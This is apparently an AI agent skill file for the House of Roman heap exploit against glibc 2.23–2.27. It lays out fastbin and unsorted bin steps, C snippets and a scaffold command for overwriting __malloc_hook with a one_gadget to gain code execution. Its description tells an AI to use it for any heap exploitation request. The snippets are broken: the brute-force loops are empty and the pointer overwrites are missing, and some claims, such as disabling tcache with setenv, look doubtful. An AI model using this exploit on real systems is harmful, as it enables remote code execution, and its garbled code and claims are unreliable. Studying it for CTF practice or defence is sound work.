| name | house-of-roman-exploit |
| description | Exploit glibc heap vulnerabilities using House of Roman attack for RCE without leaks. Use this skill whenever the user mentions heap exploitation, glibc 2.23-2.27, fastbin attacks, unsorted bin attacks, malloc hook overwrites, or needs to achieve code execution in CTF challenges with old libc versions. Trigger for any heap-based binary exploitation task where the target uses glibc 2.23-2.27 and you need RCE without prior information leaks. |
House of Roman Exploit
A heap exploitation technique that achieves RCE without leaks by combining fastbin manipulation, unsorted bin attacks, and relative pointer overwrites.
When to Use This Attack
Target glibc versions: 2.23–2.27 (reliable), 2.28+ (unreliable due to unsorted bin hardening)
Prerequisites:
- Ability to edit fastbin
fd pointers (UAF, write primitive)
- Ability to edit unsorted bin
bk pointers (UAF)
- Target has
__malloc_hook available (glibc < 2.34)
- 12 bits of brute force acceptable (0.02% success rate per attempt)
Don't use if:
- glibc ≥ 2.34 (hooks removed)
- Tcache enabled without draining (glibc ≥ 2.26)
- You need 100% reliable exploitation
Attack Overview
Phase 1: Fastbin → __malloc_hook
├─ Create fastbin victim chunk
├─ Create fake libc chunk with main_arena pointer
├─ Brute force last 4 bits to align to __malloc_hook
└─ Allocate chunk at __malloc_hook
Phase 2: Unsorted Bin Write
├─ Place chunk in unsorted bin
├─ Use UAF to set bk = __malloc_hook address
└─ malloc() writes main_arena+0x68 to __malloc_hook
Phase 3: One Gadget Overwrite
├─ Partial overwrite malloc_hook_chunk
├─ Brute force 12 bits for one_gadget address
└─ malloc() triggers one_gadget → RCE
Step-by-Step Exploitation
Phase 1: Point Fastbin to __malloc_hook
void* fastbin_victim = malloc(0x60);
void* alignment = malloc(0x80);
void* main_arena_use = malloc(0x80);
void* relative_offset = malloc(0x60);
free(main_arena_use);
void* fake_libc_chunk = malloc(0x60);
free(relative_offset);
free(fastbin_victim);
while (true) {
}
malloc(0x60);
malloc(0x60);
void* malloc_hook_chunk = malloc(0x60);
Phase 2: Unsorted Bin Write to __malloc_hook
void* unsorted_chunk = malloc(0x80);
malloc(0x30);
free(unsorted_chunk);
*(uint64_t*)(unsorted_chunk + 0x10) = malloc_hook_addr;
malloc(0x80);
Phase 3: Overwrite to One Gadget
while (true) {
*(uint64_t*)malloc_hook_chunk = one_gadget_addr;
malloc(0x60);
}
Complete Template
Use scripts/scaffold_house_of_roman.py to generate a complete exploit template:
python scripts/scaffold_house_of_roman.py \
--libc-path libc.so.6 \
--one-gadget 0x4f315 \
--output exploit.py
Modern Considerations
Tcache (glibc ≥ 2.26)
Tcache will consume your 0x70 allocations. Disable before any allocation:
setenv("GLIBC_TUNABLES", "glibc.malloc.tcache_count=0", 1);
Or drain tcache by filling each bin with 7 frees:
for (int i = 0; i < 7; i++) {
void* p = malloc(0x70);
free(p);
}
Safe-Linking (glibc ≥ 2.32)
Safe-linking does not prevent House of Roman because:
- Attack uses partial pointer overwrite of existing libc addresses
- Never forges fresh pointers (safe-linking only protects new pointers)
- Real blocker is hook removal + unsorted bin checks
Unsorted Bin Hardening (glibc ≥ 2.28)
Patch adds integrity checks on unsorted chunks:
- Size sanity validation
- List linkage verification
Workaround: Keep fd/bk links consistent and sizes plausible. Requires stronger primitives than simple partial overwrite.
Hook Removal (glibc ≥ 2.34)
__malloc_hook and __free_hook removed. Adaptations:
- Target GOT entries in non-PIE binaries (e.g.,
exit@GOT)
- House of Pie style top-chunk hijack to control
top instead
- Fastbin to __free_hook (pre-2.34 only, see romanking98 writeup)
Debugging Checklist
Common Pitfalls
| Symptom | Cause | Fix |
|---|
| Crash on malloc | Tcache not disabled | Add setenv or drain tcache |
| Wrong address written | Unsorted bin size mismatch | Ensure malloc size matches freed size |
| No RCE | 12-bit brute force failed | Restart program, try again |
| Segfault immediately | Safe-linking corruption | Verify fd/bk consistency |
| Hook not overwritten | Wrong bk address | Double-check __malloc_hook address |
References